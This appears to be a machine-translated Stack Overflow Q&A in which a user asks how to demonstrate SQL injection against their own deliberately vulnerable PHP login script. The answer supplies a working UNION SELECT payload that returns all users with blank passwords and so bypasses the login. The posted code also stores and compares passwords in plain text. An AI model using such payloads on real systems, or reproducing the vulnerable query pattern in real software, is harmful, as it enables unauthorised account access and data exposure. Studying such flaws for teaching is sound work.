如何进行 SQL 注入 [重复]

How to make an SQL injection [duplicate]

提问人:Timeassassin 提问时间:6/29/2022 更新时间:6/29/2022 访问量:269

问:

我正在尝试在我在 php 上设置的站点上进行 sql 注入,以演示该站点的漏洞。目标是在不输入密码的情况下通过表单,甚至无需输入用户名即可通过表单会更好。这是管理登录保留区域的代码,我尝试了几种方式进入,但效果不佳

<?php
$link = @mysqli_connect("localhost", "root", "", "ISdbs");
if (mysqli_connect_errno()) {
    echo "Connessione fallita: " . die(mysqli_connect_error());
}
$query = "SELECT username,password from utenti where username='" . $_POST['user'] . "';";
echo "Ho eseguito la seguente query <b>",$query,"</b>";
$result = @mysqli_query($link, $query);
if (@mysqli_num_rows($result) != 0) {
    while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
        if ($row['password'] == $_POST['pass']) {
            $ID = $_POST['user'];
            echo "<h1 align='center' >benvenuto nell'area riservata</h1>";
            echo "<p align='center'>cosa vuoi fare?</p>";
            echo "<div'><ul'>
                        <li><a href='eliminaUtente.php?id=$ID'>Eliminare l'utente</a></li>
                        <li><a href='visualizzaCF.php?id=$ID'>Visualizza i tuoi dati segreti</a></li>
                       </ul></div>";
        }
        else
            echo "<h1>username o password errati</h1>"; 
    }
}
else
            echo "<h1>username o password errati</h1>";
?>

sql 表有 7 个字段(CF、姓名、姓氏、电话、地址、用户名、密码),但在登录过程中仅使用用户名和密码。

php sql 代码注入

评论

4赞 Justinas 6/29/2022
您已经启用了 SQL 注入。这并不意味着您可以绕过PHP代码检查。尝试类似 . - 也是保存普通密码的最坏做法'; SELECT 'myPasswordString'if ($row['password'] == $_POST['pass']) {

答:

1赞 Salman A 6/29/2022 #1

如果目标是到达代码中的行,则需要发布以下用户名:h1

' union all select username, '' from utenti where '' = '

这将产生以下 sql(格式化后):

select username, password from utenti where username = ''
union all
select username, '' from utenti where '' = '';

这将返回表中的所有行,密码列将包含空白字符串。这应该满足检查,您的超级密码将在没有人知道任何密码的情况下执行。$row['password'] == $_POST['pass']